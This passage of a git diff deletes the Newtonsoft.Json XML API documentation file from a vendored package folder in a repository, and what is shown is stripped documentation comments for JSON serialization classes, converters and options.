handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - A collection of objects. - - - - - Initializes a new instance of the class. - - The type. - - - - When implemented in a derived class, extracts the key from the specified element. - - The element from which to extract the key. - The key for the specified element. - - - - Adds a object. - - The property to add to the collection. - - - - Gets the closest matching object. - First attempts to get an exact case match of and then - a case insensitive match. - - Name of the property. - A matching property if found. - - - - Gets a property by property name. - - The name of the property to get. - Type property name string comparison. - A matching property if found. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Lookup and create an instance of the type described by the argument. - - The type to create. - Optional arguments to pass to an initializing constructor of the JsonConverter. - If null, the default constructor is used. - - - - A kebab case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Represents a trace writer that writes to memory. When the trace message limit is - reached then old trace messages will be removed as new messages are added. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Initializes a new instance of the class. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Returns an enumeration of the most recent trace messages. - - An enumeration of the most recent trace messages. - - - - Returns a of the most recent trace messages. - - - A of the most recent trace messages. - - - - - A base class for resolving how property names and dictionary keys are serialized. - - - - - A flag indicating whether dictionary keys should be processed. - Defaults to false. - - - - - A flag indicating whether extension data names should be processed. - Defaults to false. - - - - - A flag indicating whether explicitly specified property names, - e.g. a property name customized with a , should be processed. - Defaults to false. - - - - - Gets the serialized name for a given property name. - - The initial property name. - A flag indicating whether the property has had a name explicitly specified. - The serialized property name. - - - - Gets the serialized name for a given extension data name. - - The initial extension data name. - The serialized extension data name. - - - - Gets the serialized key for a given dictionary key. - - The initial dictionary key. - The serialized dictionary key. - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Hash code calculation - - - - - - Object equality implementation - - - - - - - Compare to another NamingStrategy - - - - - - - Represents a method that constructs an object. - - The object type to create. - - - - When applied to a method, specifies that the method is called when an error occurs serializing an object. - - - - - Provides methods to get attributes from a , , or . - - - - - Initializes a new instance of the class. - - The instance to get attributes for. This parameter should be a , , or . - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Get and set values for a using reflection. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - A snake case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Specifies how strings are escaped when writing JSON text. - - - - - Only control characters (e.g. newline) are escaped. - - - - - All non-ASCII and control characters (e.g. newline) are escaped. - - - - - HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. - - - - - Indicates the method that will be used during deserialization for locating and loading assemblies. - - - - - In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. - - - - - In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. - - - - - Specifies type name handling options for the . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Do not include the .NET type name when serializing types. - - - - - Include the .NET type name when serializing into a JSON object structure. - - - - - Include the .NET type name when serializing into a JSON array structure. - - - - - Always include the .NET type name when serializing. - - - - - Include the .NET type name when the type of the object being serialized is not the same as its declared type. - Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON - you must specify a root type object with - or . - - - - - Determines whether the collection is null or empty. - - The collection. - - true if the collection is null or empty; otherwise, false. - - - - - Adds the elements of the specified collection to the specified generic . - - The list to add to. - The collection of elements to add. - - - - Converts the value to the specified type. If the value is unable to be converted, the - value is checked whether it assignable to the specified type. - - The value to convert. - The culture to use when converting. - The type to convert or cast the value to. - - The converted type. If conversion was unsuccessful, the initial value - is returned if assignable to the target type. - - - - - Helper class for serializing immutable collections. - Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed - https://github.com/JamesNK/Newtonsoft.Json/issues/652 - - - - - Gets the type of the typed collection's items. - - The type. - The type of the typed collection's items. - - - - Gets the member's underlying type. - - The member. - The underlying type of the member. - - - - Determines whether the property is an indexed property. - - The property. - - true if the property is an indexed property; otherwise, false. - - - - - Gets the member's value on the object. - - The member. - The target object. - The member's value on the object. - - - - Sets the member's value on the target object. - - The member. - The target. - The value. - - - - Determines whether the specified MemberInfo can be read. - - The MemberInfo to determine whether can be read. - /// if set to true then allow the member to be gotten non-publicly. - - true if the specified MemberInfo can be read; otherwise, false. - - - - - Determines whether the specified MemberInfo can be set. - - The MemberInfo to determine whether can be set. - if set to true then allow the member to be set non-publicly. - if set to true then allow the member to be set if read-only. - - true if the specified MemberInfo can be set; otherwise, false. - - - - - Builds a string. Unlike this class lets you reuse its internal buffer. - - - - - Determines whether the string is all white space. Empty string will return false. - - The string to test whether it is all white space. - - true if the string is all white space; otherwise, false. - - - - - Specifies the state of the . - - - - - An exception has been thrown, which has left the in an invalid state. - You may call the method to put the in the Closed state. - Any other method calls result in an being thrown. - - - - - The method has been called. - - - - - An object is being written. - - - - - An array is being written. - - - - - A constructor is being written. - - - - - A property is being written. - - - - - A write method has not been called. - - - - Specifies that an output will not be null even if the corresponding type allows it. - - - Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. - - - Initializes the attribute with the specified return value condition. - - The return value condition. If the method returns this value, the associated parameter will not be null. - - - - Gets the return value condition. - - - Specifies that an output may be null even if the corresponding type disallows it. - - - Specifies that null is allowed as an input even if the corresponding type disallows it. - - - - Specifies that the method will not return if the associated Boolean parameter is passed the specified value. - - - - - Initializes a new instance of the class. - - - The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to - the associated parameter matches this value. - - - - Gets the condition parameter value. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.xml b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.xml deleted file mode 100644 index a8063638..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.xml +++ /dev/null @@ -1,9741 +0,0 @@ - - - - Newtonsoft.Json - - - - - Represents a BSON Oid (object id). - - - - - Gets or sets the value of the Oid. - - The value of the Oid. - - - - Initializes a new instance of the class. - - The Oid value. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. - - - - - Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. - - - true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. - - - - - Gets or sets a value indicating whether the root object will be read as a JSON array. - - - true if the root object will be read as a JSON array; otherwise, false. - - - - - Gets or sets the used when reading values from BSON. - - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. - - - - - Gets or sets the used when writing values to BSON. - When set to no conversion will occur. - - The used when writing values to BSON. - - - - Initializes a new instance of the class. - - The to write to. - - - - Initializes a new instance of the class. - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. - - - - - Writes the end. - - The token. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes the beginning of a JSON array. - - - - - Writes the beginning of a JSON object. - - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value that represents a BSON object id. - - The Object ID value to write. - - - - Writes a BSON regex. - - The regex pattern. - The regex options. - - - - Specifies how constructors are used when initializing objects during deserialization by the . - - - - - First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. - - - - - Json.NET will use a non-public default constructor before falling back to a parameterized constructor. - - - - - Converts a binary value to and from a base 64 string value. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Creates a custom object. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Creates an object which will then be populated by the serializer. - - Type of the object. - The created object. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Provides a base class for converting a to and from JSON. - - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a F# discriminated union type to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an Entity Framework to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). - - - - - Gets or sets the date time styles used when converting a date to and from JSON. - - The date time styles used when converting a date to and from JSON. - - - - Gets or sets the date time format used when converting a date to and from JSON. - - The date time format used when converting a date to and from JSON. - - - - Gets or sets the culture used when converting a date to and from JSON. - - The culture used when converting a date to and from JSON. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from its name string value. - - - - - Gets or sets a value indicating whether the written enum text should be camel case. - The default value is false. - - true if the written enum text will be camel case; otherwise, false. - - - - Gets or sets the naming strategy used to resolve how enum text is written. - - The naming strategy used to resolve how enum text is written. - - - - Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. - The default value is true. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - true if the written enum text will be camel case; otherwise, false. - - - - Initializes a new instance of the class. - - The naming strategy used to resolve how enum text is written. - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from Unix epoch time - - - - - Gets or sets a value indicating whether the dates before Unix epoch - should converted to and from JSON. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from a string (e.g. "1.2.3.4"). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts XML to and from JSON. - - - - - Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. - - The name of the deserialized root element. - - - - Gets or sets a value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - true if the array attribute is written to the XML; otherwise, false. - - - - Gets or sets a value indicating whether to write the root JSON object. - - true if the JSON root object is omitted; otherwise, false. - - - - Gets or sets a value indicating whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - true if special characters are encoded; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The calling serializer. - The value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Checks if the is a namespace attribute. - - Attribute name to test. - The attribute name prefix if it has one, otherwise an empty string. - true if attribute name is for a namespace attribute, otherwise false. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Specifies how dates are formatted when writing JSON text. - - - - - Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". - - - - - Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". - - - - - Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. - - - - - Date formatted strings are not parsed to a date type and are read as strings. - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Specifies how to treat the time value when converting between string and . - - - - - Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. - - - - - Treat as a UTC. If the object represents a local time, it is converted to a UTC. - - - - - Treat as a local time if a is being converted to a string. - If a string is being converted to , convert to a local time if a time zone is specified. - - - - - Time zone information should be preserved when converting. - - - - - The default JSON name table implementation. - - - - - Initializes a new instance of the class. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Adds the specified string into name table. - - The string to add. - This method is not thread-safe. - The resolved string. - - - - Specifies default value handling options for the . - - - - - - - - - Include members where the member value is the same as the member's default value when serializing objects. - Included members are written to JSON. Has no effect when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - so that it is not written to JSON. - This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, - decimals and floating point numbers; and false for booleans). The default value ignored can be changed by - placing the on the property. - - - - - Members with a default value but no JSON will be set to their default value when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - and set members to their default value when deserializing. - - - - - Specifies float format handling options when writing special floating point numbers, e.g. , - and with . - - - - - Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". - - - - - Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. - Note that this will produce non-valid JSON. - - - - - Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. - - - - - Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Floating point numbers are parsed to . - - - - - Floating point numbers are parsed to . - - - - - Specifies formatting options for the . - - - - - No special formatting is applied. This is the default. - - - - - Causes child objects to be indented according to the and settings. - - - - - Provides an interface for using pooled arrays. - - The array type content. - - - - Rent an array from the pool. This array must be returned when it is no longer needed. - - The minimum required length of the array. The returned array may be longer. - The rented array from the pool. This array must be returned when it is no longer needed. - - - - Return an array to the pool. - - The array that is being returned. - - - - Provides an interface to enable a class to return line and position information. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - The current line number or 0 if no line information is available (for example, when returns false). - - - - Gets the current line position. - - The current line position or 0 if no line information is available (for example, when returns false). - - - - Instructs the how to serialize the collection. - - - - - Gets or sets a value indicating whether null items are allowed in the collection. - - true if null items are allowed in the collection; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with a flag indicating whether the array can contain null items. - - A flag indicating whether the array can contain null items. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to use the specified constructor when deserializing that object. - - - - - Instructs the how to serialize the object. - - - - - Gets or sets the id. - - The id. - - - - Gets or sets the title. - - The title. - - - - Gets or sets the description. - - The description. - - - - Gets or sets the collection's items converter. - - The collection's items converter. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets a value that indicates whether to preserve object references. - - - true to keep object reference; otherwise, false. The default is false. - - - - - Gets or sets a value that indicates whether to preserve collection's items references. - - - true to keep collection's items object references; otherwise, false. The default is false. - - - - - Gets or sets the reference loop handling used when serializing the collection's items. - - The reference loop handling. - - - - Gets or sets the type name handling used when serializing the collection's items. - - The type name handling. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Provides methods for converting between .NET types and JSON types. - - - - - - - - Gets or sets a function that creates default . - Default settings are automatically used by serialization methods on , - and and on . - To serialize without using any default settings create a with - . - - - - - Represents JavaScript's boolean value true as a string. This field is read-only. - - - - - Represents JavaScript's boolean value false as a string. This field is read-only. - - - - - Represents JavaScript's null as a string. This field is read-only. - - - - - Represents JavaScript's undefined as a string. This field is read-only. - - - - - Represents JavaScript's positive infinity as a string. This field is read-only. - - - - - Represents JavaScript's negative infinity as a string. This field is read-only. - - - - - Represents JavaScript's NaN as a string. This field is read-only. - - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - The time zone handling when the date is converted to a string. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - The string escape handling. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Serializes the specified object to a JSON string. - - The object to serialize. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting. - - The object to serialize. - Indicates how the output should be formatted. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a collection of . - - The object to serialize. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting and a collection of . - - The object to serialize. - Indicates how the output should be formatted. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Deserializes the JSON to a .NET object. - - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to a .NET object using . - - The JSON to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The JSON to deserialize. - The of object being deserialized. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The type of the object to deserialize to. - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the given anonymous type. - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the given anonymous type using . - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The type of the object to deserialize to. - The JSON to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The type of the object to deserialize to. - The object to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The JSON to deserialize. - The type of the object to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The JSON to deserialize. - The type of the object to deserialize to. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Populates the object with values from the JSON string. - - The JSON to populate values from. - The target object to populate values onto. - - - - Populates the object with values from the JSON string using . - - The JSON to populate values from. - The target object to populate values onto. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - - - - Serializes the to a JSON string. - - The node to serialize. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to serialize. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Serializes the to a JSON string. - - The node to convert to JSON. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to convert to JSON. 